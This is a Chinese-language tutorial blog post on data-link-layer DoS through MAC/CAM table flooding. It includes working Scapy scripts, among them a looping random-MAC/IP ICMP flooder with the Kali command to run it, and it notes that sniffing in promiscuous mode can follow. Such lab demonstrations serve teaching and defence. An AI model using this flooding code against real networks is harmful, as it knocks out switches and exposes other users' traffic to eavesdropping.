DoS:数据链路层DoS用例

简介: DoS:数据链路层DoS用例

DoS:数据链路层DoS用例
DoS(Denial of Services, DoS)拒绝服务攻击使计算机或网络无法提供正常的服务,是黑客常用的攻击手段之一。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。常用的拒绝服务攻击手段包括:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。黑客可能利用TCP/IP协议层中的数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。

1.数据链路层DoS
数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服务攻击的主要目标为二层交换机。数据链路层的拒绝服务攻击就是通过伪造请求主机的MAC地址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据了。

实验环境:

OS: macOS Monterey Version 12.3.1(英文版)

OS: Linux kali 5.10.0

IDE: PyCharm 2020.1

功能演示:

1)构造随机的MAC地址
利用Scapy自带的库函数RandMAC()

代码如下:

#_*_coding:utf-8_*_
# 作者      :liuxiaowei
# 创建时间   :4/25/22 9:27 PM
# 文件      :macof.py
# IDE      :PyCharm

from scapy.all import *
import time
while(1):
    packet = Ether(src=RandMAC(), dst=RandMAC())
    time.sleep(1)
    print(packet.summary())

结果如下:

(venv) (base) liuxiaowei@MacBookAir 数据链路层DoS % python3 macof.py 
e7:01:d5:83:97:db > fb:13:5f:e7:8c:69 (0x9000)
01:81:43:3f:cc:80 > cb:1d:9b:f8:38:c2 (0x9000)
16:81:bc:52:09:f5 > 8d:be:18:61:2d:e5 (0x9000)
63:c1:a2:c9:af:d4 > a8:1f:89:46:16:ec (0x9000)
c8:c8:9c:5e:23:ad > 1a:0d:6f:87:71:e5 (0x9000)
e8:9e:e1:ea:65:b8 > 67:36:89:26:96:74 (0x9000)
58:51:09:6d:27:4c > bc:1e:2b:31:37:f1 (0x9000)
2f:d4:82:c6:d1:51 > 7d:a7:69:56:ee:90 (0x9000)
9a:dc:ea:56:42:6c > 6a:52:59:94:cd:48 (0x9000)
10:ae:b1:f9:05:6b > b8:47:6e:62:92:de (0x9000)
............

2.ICMP数据包为例
当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机查询CAM,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致CAM被填满,失去交换机原有的功能。

示例代码如下:

from scapy.all import *
import optparse

def attack(interface):
    pkt = Ether(src=RandMAC(), dst=RandMAC())/IP(src=RandIP(), dst=RandIP())/ICMP()
    sendp(pkt, iface=interface)

def main():
    parser = optparse.OptionParser('%prog ' + '-i interface')
    parser.add_option('-i', dest='interface', default='eth0', type='string', help='Interface')
    (options, args) = parser.parse_args()
    interface = options.interface
    try:
        while True:
            attack(interface)
    except KeyboardInterrupt:
        print('-------------------')
        print('Finished!')

if __name__ == '__main__':
    main()

在kali系统命令行执行如下命令:

┌──(root💀kali)-[~/Desktop]
└─# python3 icmpof.py -i eth0

运行结果如下图:

image.png

相关文章
|
3月前
|
移动开发 安全 网络协议
DoS:应用层DoS用例
DoS:应用层DoS用例
59 0
|
8月前
|
存储 Shell Linux
【Shell 命令集合 磁盘维护 】Linux 创建DOS文件系统 mkdosfs命令使用指南
【Shell 命令集合 磁盘维护 】Linux 创建DOS文件系统 mkdosfs命令使用指南
108 2
|
8月前
|
Java 程序员 Shell
Java(一)java跨平台原理及dos常用命令
Java(一)java跨平台原理及dos常用命令
59 1
|
8月前
|
关系型数据库 数据库连接 Windows
windows 常用的dos命令
windows 常用的dos命令
157 0
|
8月前
|
关系型数据库 MySQL 数据库
Python tk dos命令备份mysql数据库
Python tk dos命令备份mysql数据库
68 0
|
8月前
|
算法 Linux Shell
【Shell 命令集合 磁盘管理 】Linux 于挂入MS-DOS文件系统 mmount 命令使用指南
【Shell 命令集合 磁盘管理 】Linux 于挂入MS-DOS文件系统 mmount 命令使用指南
104 0
|
8月前
|
存储 Linux Shell
【Shell 命令集合 磁盘维护 】Linux 创建MS-DOS文件系统 mkfs.msdos命令使用教程
【Shell 命令集合 磁盘维护 】Linux 创建MS-DOS文件系统 mkfs.msdos命令使用教程
117 0
|
2月前
|
Windows
DOS 批处理 setlocal命令、endlocal命令详解
DOS 批处理 setlocal命令、endlocal命令详解
63 10
|
2月前
|
Windows
DOS 批处理 setlocal命令、endlocal命令详解
setlocal这是一个命令,它开始局部化环境更改,通常在批处理文件中使用,以确保在脚本中所做的任何环境更改(例如设置或修改环境变量)不会影响到调用此批处理的上下文或其他批处理文件
115 14
|
3月前
|
Java Windows
JAVA 常用的 DOS 命令
【10月更文挑战第15天】DOS 命令是 Java 开发中不可或缺的工具,掌握这些命令可以提高开发效率和操作便利性。
50 3